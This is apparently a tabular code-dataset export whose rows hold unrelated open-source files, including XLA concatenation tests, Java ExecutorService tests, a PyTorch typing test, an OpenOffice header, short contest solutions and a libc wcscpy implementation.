max_stars_count
int64
301
224k
text
stringlengths
6
1.05M
token_count
int64
3
727k
3,269
// Time: O(n) // Space: O(1) class Solution { public: int minSwaps(string s) { int result = 0, curr = 0; for (const auto& c : s) { if (c == ']') { ++curr; result = max(result, curr); } else { --curr; } } return (result + 1) / 2; } };
231
506
#!/usr/bin/env pypy3 # https://abc099.contest.atcoder.jp/tasks/abc099_c n = int(input()) k = [0] * (n + 1) for i in range(min(n + 1, 6)): k[i] = i for i in range(6, n + 1): m = k[i - 1] + 1 for j in range(1, 8): l = pow(6, j) if l > i: break m = min(m, k[i - l] + 1) for j in range(1, 8): l = pow(9, j) if l > i: break m = min(m, k[i - l] + 1) k[i] = m print(k[n])
252
708
from aif360.metrics.mdss.MDSS import MDSS
18
60,067
<filename>test/typing/reveal/namedtuple.py import torch t = torch.tensor([[3.0, 1.5], [2.0, 1.5]]) t_sort = t.sort() t_sort[0][0, 0] == 1.5 # noqa: B015 t_sort.indices[0, 0] == 1 # noqa: B015 t_sort.values[0, 0] == 1.5 # noqa: B015 reveal_type(t_sort) # E: Tuple[{Tensor}, {Tensor}, fallback=torch._C.namedtuple_values_indices] t_qr = torch.linalg.qr(t) t_qr[0].shape == [2, 2] # noqa: B015 t_qr.Q.shape == [2, 2] # noqa: B015 reveal_type(t_qr) # E: Tuple[{Tensor}, {Tensor}, fallback=torch._C._VariableFunctions.namedtuple_Q_R]
285
679
/************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ #ifndef CHART2_CHARTMODELCLONE_HXX #define CHART2_CHARTMODELCLONE_HXX /** === begin UNO includes === **/ #include <com/sun/star/frame/XModel.hpp> #include <com/sun/star/chart2/XInternalDataProvider.hpp> /** === end UNO includes === **/ #include <boost/noncopyable.hpp> //...................................................................................................................... namespace chart { //...................................................................................................................... //================================================================================================================== //= ModelFacet //================================================================================================================== enum ModelFacet { E_MODEL, E_MODEL_WITH_DATA, E_MODEL_WITH_SELECTION }; //================================================================================================================== //= ChartModelClone //================================================================================================================== class ChartModelClone : public ::boost::noncopyable { public: ChartModelClone( const ::com::sun::star::uno::Reference< ::com::sun::star::frame::XModel >& i_model, const ModelFacet i_facet ); ~ChartModelClone(); ModelFacet getFacet() const; void applyToModel( const ::com::sun::star::uno::Reference< ::com::sun::star::frame::XModel >& i_model ) const; static void applyModelContentToModel( const ::com::sun::star::uno::Reference< ::com::sun::star::frame::XModel > & i_model, const ::com::sun::star::uno::Reference< ::com::sun::star::frame::XModel > & i_modelToCopyFrom, const ::com::sun::star::uno::Reference< ::com::sun::star::chart2::XInternalDataProvider > & i_data ); void dispose(); private: bool impl_isDisposed() const { return !m_xModelClone.is(); } private: ::com::sun::star::uno::Reference< ::com::sun::star::frame::XModel > m_xModelClone; ::com::sun::star::uno::Reference< ::com::sun::star::chart2::XInternalDataProvider > m_xDataClone; ::com::sun::star::uno::Any m_aSelection; }; //...................................................................................................................... } // namespace chart //...................................................................................................................... #endif // CHART2_CHARTMODELCLONE_HXX
1,053
848
<gh_stars>100-1000 /* Copyright 2017 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include <memory> #include <vector> #include "tensorflow/compiler/xla/array2d.h" #include "tensorflow/compiler/xla/array3d.h" #include "tensorflow/compiler/xla/client/local_client.h" #include "tensorflow/compiler/xla/client/xla_builder.h" #include "tensorflow/compiler/xla/client/xla_computation.h" #include "tensorflow/compiler/xla/reference_util.h" #include "tensorflow/compiler/xla/statusor.h" #include "tensorflow/compiler/xla/test.h" #include "tensorflow/compiler/xla/test_helpers.h" #include "tensorflow/compiler/xla/tests/client_library_test_base.h" #include "tensorflow/compiler/xla/tests/literal_test_util.h" #include "tensorflow/compiler/xla/tests/test_macros.h" #include "tensorflow/core/platform/test.h" namespace xla { namespace { using ConcatTest = ClientLibraryTestBase; using ::testing::HasSubstr; // Concatenate expects at least one argument. XLA_TEST_F(ConcatTest, Concat_Nothing) { XlaBuilder builder(TestName()); ConcatInDim(&builder, {}, 0); StatusOr<XlaComputation> computation_status = builder.Build(); ASSERT_FALSE(computation_status.ok()); EXPECT_THAT(computation_status.status().ToString(), HasSubstr("Concatenate expects at least one argument")); } // Concatenate with one argument works. XLA_TEST_F(ConcatTest, Concat_R1_With_Nothing) { XlaBuilder builder(TestName()); auto a = ConstantR1<float>(&builder, {42.0, 64.0}); ConcatInDim(&builder, {a}, 0); std::vector<float> expected = {42, 64}; ComputeAndCompareR1<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat_R1_L0_With_Nothing) { XlaBuilder builder(TestName()); auto a = ConstantR1<float>(&builder, {}); ConcatInDim(&builder, {a}, 0); std::vector<float> expected = {}; ComputeAndCompareR1<float>(&builder, expected, {}, ErrorSpec(0.0001)); } // Show that we can't concatenate R0 with R0 because we can't name the dimension // to concatenate on. XLA_TEST_F(ConcatTest, CannotConcatR0WithR0) { XlaBuilder builder(TestName()); auto a = ConstantR0<float>(&builder, 42.0); auto b = ConstantR0<float>(&builder, 64.0); ConcatInDim(&builder, {a, b}, 0); StatusOr<XlaComputation> computation_status = builder.Build(); ASSERT_FALSE(computation_status.ok()); EXPECT_THAT(computation_status.status().ToString(), HasSubstr("out of bounds: 0")); } XLA_TEST_F(ConcatTest, Concat_R1_L0_With_R1_L0) { XlaBuilder builder(TestName()); auto a = ConstantR1<float>(&builder, {}); auto b = ConstantR1<float>(&builder, {}); ConcatInDim(&builder, {a, b}, 0); std::vector<float> expected = {}; ComputeAndCompareR1<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat_R1_L0_With_R1_L1) { XlaBuilder builder(TestName()); auto a = ConstantR1<float>(&builder, {}); auto b = ConstantR1<float>(&builder, {256.0}); ConcatInDim(&builder, {a, b}, 0); std::vector<float> expected = {256}; ComputeAndCompareR1<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat_R1_L2_With_R1_L0) { XlaBuilder builder(TestName()); auto a = ConstantR1<float>(&builder, {42.0, 64.0}); auto b = ConstantR1<float>(&builder, {}); ConcatInDim(&builder, {a, b}, 0); std::vector<float> expected = {42, 64}; ComputeAndCompareR1<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat_R1_L2_With_R1_L1) { XlaBuilder builder(TestName()); auto a = ConstantR1<float>(&builder, {42.0, 64.0}); auto b = ConstantR1<float>(&builder, {256.0}); ConcatInDim(&builder, {a, b}, 0); std::vector<float> expected = {42, 64, 256}; ComputeAndCompareR1<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat_R1_L253_With_R1_L7) { std::vector<float> lhs(253); std::vector<float> rhs(7); std::vector<float> expected(253 + 7); for (int i = 0; i < 253; ++i) { expected[i] = lhs[i] = i + 1; } for (int i = 0; i < 7; ++i) { expected[253 + i] = rhs[i] = 253 + i + 1; } XlaBuilder builder(TestName()); auto a = ConstantR1<float>(&builder, lhs); auto b = ConstantR1<float>(&builder, rhs); ConcatInDim(&builder, {a, b}, 0); ComputeAndCompareR1<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat_0x0_With_0x0) { for (int dim : {0, 1}) { XlaBuilder builder(TestName()); auto a = ConstantR2FromArray2D(&builder, Array2D<float>(0, 0)); auto b = ConstantR2FromArray2D(&builder, Array2D<float>(0, 0)); ConcatInDim(&builder, {a, b}, dim); ComputeAndCompareR2<float>(&builder, Array2D<float>(0, 0), {}, ErrorSpec(0.0001)); } } XLA_TEST_F(ConcatTest, Concat_1x1_With_1x1_InDim0) { XlaBuilder builder(TestName()); auto a_array = CreatePatternedMatrix(1, 1); auto b_array = CreatePatternedMatrix(1, 1, /*offset=*/64.0); auto a = ConstantR2FromArray2D(&builder, *a_array); auto b = ConstantR2FromArray2D(&builder, *b_array); ConcatInDim(&builder, {a, b}, 0); Array2D<float> expected({ {0}, {64}, }); ComputeAndCompareR2<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat_1x1_With_1x1_InDim1) { XlaBuilder builder(TestName()); auto a_array = CreatePatternedMatrix(1, 1); auto b_array = CreatePatternedMatrix(1, 1, /*offset=*/64.0); auto a = ConstantR2FromArray2D(&builder, *a_array); auto b = ConstantR2FromArray2D(&builder, *b_array); ConcatInDim(&builder, {a, b}, 1); Array2D<float> expected({ {0, 64}, }); ComputeAndCompareR2<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat2x0With2x5) { XlaBuilder builder(TestName()); auto b_array = CreatePatternedMatrix(2, 5, /*offset=*/64.0); auto a = ConstantR2FromArray2D(&builder, Array2D<float>(2, 0)); auto b = ConstantR2FromArray2D(&builder, *b_array); ConcatInDim(&builder, {a, b}, 1); ComputeAndCompareR2<float>(&builder, *b_array, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat2x3With2x5) { XlaBuilder builder(TestName()); auto a_array = CreatePatternedMatrix(2, 3); auto b_array = CreatePatternedMatrix(2, 5, /*offset=*/64.0); auto a = ConstantR2FromArray2D(&builder, *a_array); auto b = ConstantR2FromArray2D(&builder, *b_array); ConcatInDim(&builder, {a, b}, 1); Array2D<float> expected({ {0, 1, 2, 64, 65, 66, 67, 68}, {1000, 1001, 1002, 1064, 1065, 1066, 1067, 1068}, }); ComputeAndCompareR2<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat3x2With0x2) { XlaBuilder builder(TestName()); auto a_array = CreatePatternedMatrix(3, 2); auto a = ConstantR2FromArray2D(&builder, *a_array); auto b = ConstantR2FromArray2D(&builder, Array2D<float>(0, 2)); ConcatInDim(&builder, {a, b}, 0); ComputeAndCompareR2<float>(&builder, *a_array, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat3x2With5x2) { XlaBuilder builder(TestName()); auto a_array = CreatePatternedMatrix(3, 2); auto b_array = CreatePatternedMatrix(5, 2, /*offset=*/64.0); auto a = ConstantR2FromArray2D(&builder, *a_array); auto b = ConstantR2FromArray2D(&builder, *b_array); ConcatInDim(&builder, {a, b}, 0); Array2D<float> expected({ {0, 1}, {1000, 1001}, {2000, 2001}, {64, 65}, {1064, 1065}, {2064, 2065}, {3064, 3065}, {4064, 4065}, }); ComputeAndCompareR2<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat_R3_3x0x2_3x0x1) { XlaBuilder builder(TestName()); auto a = ConstantR3FromArray3D(&builder, Array3D<float>(3, 0, 2)); auto b = ConstantR3FromArray3D(&builder, Array3D<float>(3, 0, 1)); ConcatInDim(&builder, {a, b}, 2); ComputeAndCompareR3<float>(&builder, Array3D<float>(3, 0, 3), {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat_R3_3x1x2_3x1x1) { XlaBuilder builder(TestName()); Array3D<float> a_array({ // 3x1x2 {{0, 1}}, {{2, 3}}, {{4, 5}}, }); Array3D<float> b_array({ // 3x1x1 {{6}}, {{7}}, {{8}}, }); auto a = ConstantR3FromArray3D(&builder, a_array); auto b = ConstantR3FromArray3D(&builder, b_array); ConcatInDim(&builder, {a, b}, 2); Array3D<float> expected({ {{0, 1, 6}}, {{2, 3, 7}}, {{4, 5, 8}}, }); ComputeAndCompareR3<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat_R1_1x1_1x1_1x1) { XlaBuilder builder(TestName()); auto a = ConstantR1<float>(&builder, {42.0}); auto b = ConstantR1<float>(&builder, {64.0}); auto c = ConstantR1<float>(&builder, {256.0}); ConcatInDim(&builder, {a, b, c}, 0); std::vector<float> expected = {42, 64, 256}; ComputeAndCompareR1<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat_R3_3x1x2_3x1x1_3x1x1) { XlaBuilder builder(TestName()); Array3D<float> a_array({ // 3x1x2 {{0, 1}}, {{4, 5}}, {{8, 9}}, }); Array3D<float> b_array({ // 3x1x1 {{2}}, {{6}}, {{10}}, }); Array3D<float> c_array({ // 3x1x1 {{3}}, {{7}}, {{11}}, }); auto a = ConstantR3FromArray3D(&builder, a_array); auto b = ConstantR3FromArray3D(&builder, b_array); auto c = ConstantR3FromArray3D(&builder, c_array); ConcatInDim(&builder, {a, b, c}, 2); Array3D<float> expected({ {{0, 1, 2, 3}}, {{4, 5, 6, 7}}, {{8, 9, 10, 11}}, }); ComputeAndCompareR3<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, DoubleConcatLeftAssociative) { XlaBuilder builder(TestName()); auto a = ConstantR1<float>(&builder, {42.0}); auto b = ConstantR1<float>(&builder, {64.0}); auto c = ConstantR1<float>(&builder, {256.0}); // concatenated = (a concat b) concat c ConcatInDim(&builder, {ConcatInDim(&builder, {a, b}, 0), c}, 0); std::vector<float> expected = {42, 64, 256}; ComputeAndCompareR1<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, DoubleConcatRightAssociative) { XlaBuilder builder(TestName()); auto a = ConstantR1<float>(&builder, {42.0}); auto b = ConstantR1<float>(&builder, {64.0}); auto c = ConstantR1<float>(&builder, {256.0}); // concatenated = a concat (b concat c) ConcatInDim(&builder, {a, ConcatInDim(&builder, {b, c}, 0)}, 0); std::vector<float> expected = {42, 64, 256}; ComputeAndCompareR1<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat_1x1024_With_1x1024_InDim0) { Array2D<float> lhs(1, 1024); Array2D<float> rhs(1, 1024); for (int i = 0; i < 1024; ++i) { lhs(0, i) = i; rhs(0, i) = i + 1024; } XlaBuilder builder(TestName()); auto a = ConstantR2FromArray2D<float>(&builder, lhs); auto b = ConstantR2FromArray2D<float>(&builder, rhs); ConcatInDim(&builder, {a, b}, 0); Array2D<float> expected(2, 1024); for (int i = 0; i < 1024; ++i) { expected(0, i) = i; expected(1, i) = i + 1024; } ComputeAndCompareR2<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat_1x1024_With_1x1024_InDim1) { Array2D<float> lhs(1, 1024); Array2D<float> rhs(1, 1024); for (int i = 0; i < 1024; ++i) { lhs(0, i) = i; rhs(0, i) = i + 1024; } XlaBuilder builder(TestName()); auto a = ConstantR2FromArray2D<float>(&builder, lhs); auto b = ConstantR2FromArray2D<float>(&builder, rhs); ConcatInDim(&builder, {a, b}, 1); Array2D<float> expected(1, 2048); for (int i = 0; i < 1024; ++i) { expected(0, i) = i; expected(0, i + 1024) = i + 1024; } ComputeAndCompareR2<float>(&builder, expected, {}, ErrorSpec(0.0001)); } XLA_TEST_F(ConcatTest, Concat_64x64_With_64x2) { Array2D<float> lhs(64, 64); Array2D<float> rhs(64, 2); for (int i0 = 0; i0 < 64; ++i0) { for (int i1 = 0; i1 < 64; ++i1) { lhs(i0, i1) = (i0 << 10) | i1; } for (int i1 = 0; i1 < 2; ++i1) { rhs(i0, i1) = (i0 << 10) | (i1 + 64); } } XlaBuilder builder(TestName()); auto a = ConstantR2FromArray2D<float>(&builder, lhs); auto b = ConstantR2FromArray2D<float>(&builder, rhs); ConcatInDim(&builder, {a, b}, 1); Array2D<float> expected(64, 66); for (int i0 = 0; i0 < 64; ++i0) { for (int i1 = 0; i1 < 66; ++i1) { expected(i0, i1) = (i0 << 10) | i1; } } ComputeAndCompareR2<float>(&builder, expected, {}, ErrorSpec(0.0001)); } // Show that we can't concatenate with an opaques. XLA_TEST_F(ConcatTest, CannotConcatOpaques) { XlaBuilder builder(TestName()); auto opaque_shape = ShapeUtil::MakeOpaqueShape(); auto r1f32 = xla::ShapeUtil::MakeShape(xla::F32, {1}); auto x = Parameter(&builder, 0, r1f32, "x"); auto y = Parameter(&builder, 1, opaque_shape, "y"); ConcatInDim(&builder, {x, y}, 0); StatusOr<XlaComputation> computation_status = builder.Build(); ASSERT_FALSE(computation_status.ok()); EXPECT_THAT( computation_status.status().ToString(), HasSubstr("Expected array argument for operand of concatenation")); } // Show that we can't concatenate with tokens. XLA_TEST_F(ConcatTest, CannotConcatTokens) { XlaBuilder builder(TestName()); auto token_shape = ShapeUtil::MakeTokenShape(); auto r1f32 = xla::ShapeUtil::MakeShape(xla::F32, {1}); auto x = Parameter(&builder, 0, r1f32, "x"); auto y = Parameter(&builder, 1, token_shape, "y"); ConcatInDim(&builder, {x, y}, 0); StatusOr<XlaComputation> computation_status = builder.Build(); ASSERT_FALSE(computation_status.ok()); EXPECT_THAT( computation_status.status().ToString(), HasSubstr("Expected array argument for operand of concatenation")); } XLA_TEST_F(ConcatTest, ConcatSeveralBoxedPredicates) { XlaBuilder builder(TestName()); auto p0 = ConstantR1<bool>(&builder, {true}); auto p1 = ConstantR1<bool>(&builder, {false}); auto p2 = ConstantR1<bool>(&builder, {true}); ConcatInDim(&builder, {p0, p1, p2}, 0); bool expected[] = {true, false, true}; ComputeAndCompareR1<bool>(&builder, expected, {}); } XLA_TEST_F(ConcatTest, ConcatSeveralR1S32s) { XlaBuilder builder(TestName()); auto a0 = ConstantR1<int32>(&builder, {1}); auto a1 = ConstantR1<int32>(&builder, {2, 3}); auto a2 = ConstantR1<int32>(&builder, {4, 5, 6}); auto a3 = ConstantR1<int32>(&builder, {7, 8, 9, 10}); ConcatInDim(&builder, {a0, a1, a2, a3}, 0); std::vector<int32> expected(10); std::iota(expected.begin(), expected.end(), 1); ComputeAndCompareR1<int32>(&builder, expected, {}); } XLA_TEST_F(ConcatTest, ConcatR3WeirdDims) { XlaBuilder builder(TestName()); Array3D<float> arr0(9, 17, 1); arr0.Fill(1); Array3D<float> arr1(9, 17, 256); arr1.Fill(2); Array3D<float> expected(9, 17, arr0.n3() + arr1.n3()); for (int64 i = 0; i < expected.n1(); ++i) { for (int64 j = 0; j < expected.n2(); ++j) { int64 kk = 0; for (const Array3D<float>& arr : {arr0, arr1}) { for (int64 k = 0; k < arr.n3(); ++k, ++kk) { expected(i, j, kk) = arr(i, j, k); } } } } XlaOp h0; auto p0 = CreateR3Parameter<float>(arr0, /*parameter_number=*/0, "p0", &builder, &h0); XlaOp h1; auto p1 = CreateR3Parameter<float>(arr1, /*parameter_number=*/1, "p1", &builder, &h1); ConcatInDim(&builder, {h0, h1}, 2); ComputeAndCompareR3<float>(&builder, expected, {p0.get(), p1.get()}); } XLA_TEST_F(ConcatTest, ConcatDeeplyNested) { XlaBuilder builder(TestName()); auto a_literal = LiteralUtil::CreateR1<float>({256.0}); auto a = Parameter(&builder, 0, a_literal.shape(), "x"); auto b = ConcatInDim(&builder, {a, a}, 0); auto c = ConcatInDim(&builder, {b, b}, 0); auto d = ConcatInDim(&builder, {c, c}, 0); auto e = ConcatInDim(&builder, {d, d}, 0); auto f = ConcatInDim(&builder, {e, e}, 0); auto g = ConcatInDim(&builder, {f, f}, 0); auto h = ConcatInDim(&builder, {g, g}, 0); auto i = ConcatInDim(&builder, {h, h}, 0); auto j = ConcatInDim(&builder, {i, i}, 0); auto k = ConcatInDim(&builder, {j, j}, 0); auto l = ConcatInDim(&builder, {k, k}, 0); auto m = ConcatInDim(&builder, {l, l}, 0); auto n = ConcatInDim(&builder, {m, m}, 0); auto o = ConcatInDim(&builder, {n, n}, 0); auto p = ConcatInDim(&builder, {o, o}, 0); auto q = ConcatInDim(&builder, {p, p}, 0); ConcatInDim(&builder, {q, q}, 0); std::vector<float> expected(131072, 256.0); auto a_data = client_->TransferToServer(a_literal).ConsumeValueOrDie(); ComputeAndCompareR1<float>(&builder, expected, {a_data.get()}); } // Describes a binary rank-2 concatenation test. struct R2BinarySpec { int64 lhs_dim0; int64 lhs_dim1; int64 rhs_dim0; int64 rhs_dim1; int64 concat_dimension; }; // TEST_P harness for binary rank-2 concatenation. class ConcatR2BinaryTest : public ClientLibraryTestBase, public ::testing::WithParamInterface<R2BinarySpec> { }; TEST_P(ConcatR2BinaryTest, DoIt) { const R2BinarySpec& spec = GetParam(); Array2D<int32> lhs(spec.lhs_dim0, spec.lhs_dim1); lhs.FillUnique(); Array2D<int32> rhs(spec.rhs_dim0, spec.rhs_dim1); rhs.FillUnique(1000); XlaBuilder builder(TestName()); auto a0 = ConstantR2FromArray2D<int32>(&builder, lhs); auto a1 = ConstantR2FromArray2D<int32>(&builder, rhs); ConcatInDim(&builder, {a0, a1}, spec.concat_dimension); std::unique_ptr<Array2D<int32>> expected = ReferenceUtil::Concat2D(lhs, rhs, spec.concat_dimension); ComputeAndCompareR2<int32>(&builder, *expected, {}); } // Regression test for b/31944287. x*y is used (at the same index) by all // operands of the concat. We should emit x*y in three incoming basic blocks of // the concat because these basic blocks are not control-equivalent. // // x*y // / | \ // add1 add2 add3 // \ | / // concat XLA_TEST_F(ConcatTest, ConcatOperandsOfSameOperand) { auto f32_scalar = ShapeUtil::MakeShape(xla::F32, {}); auto x_literal = LiteralUtil::CreateR0<float>(2.f); auto y_literal = LiteralUtil::CreateR0<float>(3.f); auto x_data = client_->TransferToServer(x_literal).ConsumeValueOrDie(); auto y_data = client_->TransferToServer(y_literal).ConsumeValueOrDie(); XlaBuilder builder(TestName()); auto x = Parameter(&builder, 0, f32_scalar, "x"); auto y = Parameter(&builder, 1, f32_scalar, "y"); auto mul = Mul(x, y); auto add1 = Add(mul, ConstantR1<float>(&builder, {1.f, 2.f})); auto add2 = Add(mul, ConstantR1<float>(&builder, {3.f, 4.f})); auto add3 = Add(mul, ConstantR1<float>(&builder, {5.f, 6.f})); ConcatInDim(&builder, {add1, add2, add3}, /*dimension=*/0); ComputeAndCompareR1<float>(&builder, {7., 8., 9., 10., 11., 12.}, {x_data.get(), y_data.get()}, ErrorSpec(1e-4)); } // Test that the HLO optimization to replace a concat of a bradcasted scalar // produces the correct result in rank 1. XLA_TEST_F(ConcatTest, ConcatBroadcastArgument) { auto f32_scalar = ShapeUtil::MakeShape(xla::F32, {}); auto x_literal = LiteralUtil::CreateR1<float>({2.0f, 3.0f, 5.0f, 6.0f}); auto y_literal = LiteralUtil::CreateR0<float>(1.5f); auto z_literal = LiteralUtil::CreateR0<float>(5.5f); auto x_data = client_->TransferToServer(x_literal).ConsumeValueOrDie(); auto y_data = client_->TransferToServer(y_literal).ConsumeValueOrDie(); auto z_data = client_->TransferToServer(z_literal).ConsumeValueOrDie(); XlaBuilder builder(TestName()); auto x = Parameter(&builder, 0, x_literal.shape(), "x"); auto y = Parameter(&builder, 1, f32_scalar, "y"); auto z = Parameter(&builder, 2, f32_scalar, "z"); auto bcast = Broadcast(y, {5}); auto bcast2 = Broadcast(z, {3}); auto concat = ConcatInDim(&builder, {bcast, x}, /*dimension=*/0); ConcatInDim(&builder, {concat, bcast2}, /*dimension=*/0); ComputeAndCompareR1<float>( &builder, {1.5f, 1.5f, 1.5f, 1.5f, 1.5f, 2.0f, 3.0f, 5.0f, 6.0f, 5.5f, 5.5f, 5.5f}, {x_data.get(), y_data.get(), z_data.get()}, ErrorSpec(1e-4)); } // Test that the HLO optimization to replace a concat of a bradcasted scalar // produces the correct result in rank 3 with both high and low padding in // different dimensions. XLA_TEST_F(ConcatTest, ConcatBroadcastArgumentR3) { auto f32_scalar = ShapeUtil::MakeShape(xla::F32, {}); Array3D<float> x3d(3, 5, 7, 3.14f); auto x_literal = LiteralUtil::CreateR3FromArray3D<float>(x3d); auto y_literal = LiteralUtil::CreateR0<float>(1.5f); auto z_literal = LiteralUtil::CreateR0<float>(5.5f); auto x_data = client_->TransferToServer(x_literal).ConsumeValueOrDie(); auto y_data = client_->TransferToServer(y_literal).ConsumeValueOrDie(); auto z_data = client_->TransferToServer(z_literal).ConsumeValueOrDie(); XlaBuilder builder(TestName()); auto x = Parameter(&builder, 0, x_literal.shape(), "x"); auto y = Parameter(&builder, 1, f32_scalar, "y"); auto z = Parameter(&builder, 2, f32_scalar, "y"); auto y_bcast = Broadcast(y, {1, 5, 7}); auto z_bcast = Broadcast(z, {4, 1, 7}); auto concat = ConcatInDim(&builder, {y_bcast, x}, /*dimension=*/0); ConcatInDim(&builder, {concat, z_bcast}, /*dimension=*/1); Array3D<float> y_bcast3d(1, 5, 7, 1.5f); Array3D<float> z_bcast3d(4, 1, 7, 5.5f); auto concat0 = ReferenceUtil::Concat3D(y_bcast3d, x3d, 0); auto concat1 = ReferenceUtil::Concat3D(*concat0, z_bcast3d, 1); ComputeAndCompareR3<float>(&builder, *concat1, {x_data.get(), y_data.get(), z_data.get()}, ErrorSpec(1e-4)); } INSTANTIATE_TEST_CASE_P(ConcatR2BinaryTestInstantiation, ConcatR2BinaryTest, ::testing::Values(R2BinarySpec{1, 1, 1, 1, 0}, R2BinarySpec{1, 1, 1, 1, 1}, R2BinarySpec{4, 3, 4, 3, 0}, R2BinarySpec{4, 3, 4, 3, 1}, R2BinarySpec{7, 128, 1, 128, 0}, R2BinarySpec{8, 127, 8, 1, 1})); } // namespace } // namespace xla
9,714
32,544
<filename>core-java-modules/core-java-concurrency-basic/src/test/java/com/baeldung/concurrent/executorservice/Java8ExecutorServiceIntegrationTest.java package com.baeldung.concurrent.executorservice; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; import java.util.ArrayList; import java.util.List; import java.util.concurrent.Callable; import java.util.concurrent.ExecutionException; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Future; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.ScheduledExecutorService; import java.util.concurrent.ThreadPoolExecutor; import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; import org.junit.Before; import org.junit.Test; public class Java8ExecutorServiceIntegrationTest { private Runnable runnableTask; private Callable<String> callableTask; private List<Callable<String>> callableTasks; @Before public void init() { runnableTask = () -> { try { TimeUnit.MILLISECONDS.sleep(300); } catch (InterruptedException e) { e.printStackTrace(); } }; callableTask = () -> { TimeUnit.MILLISECONDS.sleep(300); return "Task's execution"; }; callableTasks = new ArrayList<>(); callableTasks.add(callableTask); callableTasks.add(callableTask); callableTasks.add(callableTask); } @Test public void creationSubmittingTaskShuttingDown_whenShutDown_thenCorrect() { ExecutorService executorService = Executors.newFixedThreadPool(10); executorService.submit(runnableTask); executorService.submit(callableTask); executorService.shutdown(); assertTrue(executorService.isShutdown()); } @Test public void creationSubmittingTasksShuttingDownNow_whenShutDownAfterAwating_thenCorrect() { ExecutorService threadPoolExecutor = new ThreadPoolExecutor(1, 1, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<>()); for (int i = 0; i < 100; i++) { threadPoolExecutor.submit(callableTask); } List<Runnable> notExecutedTasks = smartShutdown(threadPoolExecutor); assertTrue(threadPoolExecutor.isShutdown()); assertFalse(notExecutedTasks.isEmpty()); assertTrue(notExecutedTasks.size() < 98); } private List<Runnable> smartShutdown(ExecutorService executorService) { List<Runnable> notExecutedTasks = new ArrayList<>(); executorService.shutdown(); try { if (!executorService.awaitTermination(800, TimeUnit.MILLISECONDS)) { notExecutedTasks = executorService.shutdownNow(); } } catch (InterruptedException e) { notExecutedTasks = executorService.shutdownNow(); } return notExecutedTasks; } @Test public void submittingTasks_whenExecutedOneAndAll_thenCorrect() { ExecutorService executorService = Executors.newFixedThreadPool(10); String result = null; List<Future<String>> futures = new ArrayList<>(); try { result = executorService.invokeAny(callableTasks); futures = executorService.invokeAll(callableTasks); } catch (InterruptedException | ExecutionException e) { e.printStackTrace(); } assertEquals("Task's execution", result); assertTrue(futures.size() == 3); } @Test public void submittingTaskShuttingDown_whenGetExpectedResult_thenCorrect() { ExecutorService executorService = Executors.newFixedThreadPool(10); Future<String> future = executorService.submit(callableTask); String result = null; try { result = future.get(); result = future.get(200, TimeUnit.MILLISECONDS); } catch (InterruptedException | ExecutionException | TimeoutException e) { e.printStackTrace(); } executorService.shutdown(); assertEquals("Task's execution", result); } @Test public void submittingTask_whenCanceled_thenCorrect() { ExecutorService executorService = Executors.newFixedThreadPool(10); Future<String> future = executorService.submit(callableTask); boolean canceled = future.cancel(true); boolean isCancelled = future.isCancelled(); executorService.shutdown(); assertTrue(canceled); assertTrue(isCancelled); } @Test public void submittingTaskScheduling_whenExecuted_thenCorrect() { ScheduledExecutorService executorService = Executors.newSingleThreadScheduledExecutor(); Future<String> resultFuture = executorService.schedule(callableTask, 1, TimeUnit.SECONDS); String result = null; try { result = resultFuture.get(); } catch (InterruptedException | ExecutionException e) { e.printStackTrace(); } executorService.shutdown(); assertEquals("Task's execution", result); } }
2,079
429
<filename>libc/wchar/wcscpy.c #include <wchar.h> wchar_t * wcscpy(wchar_t * restrict dest, const wchar_t * restrict src) { wchar_t * out = dest; for (; (*dest=*src); src++, dest++); return out; }
90
575
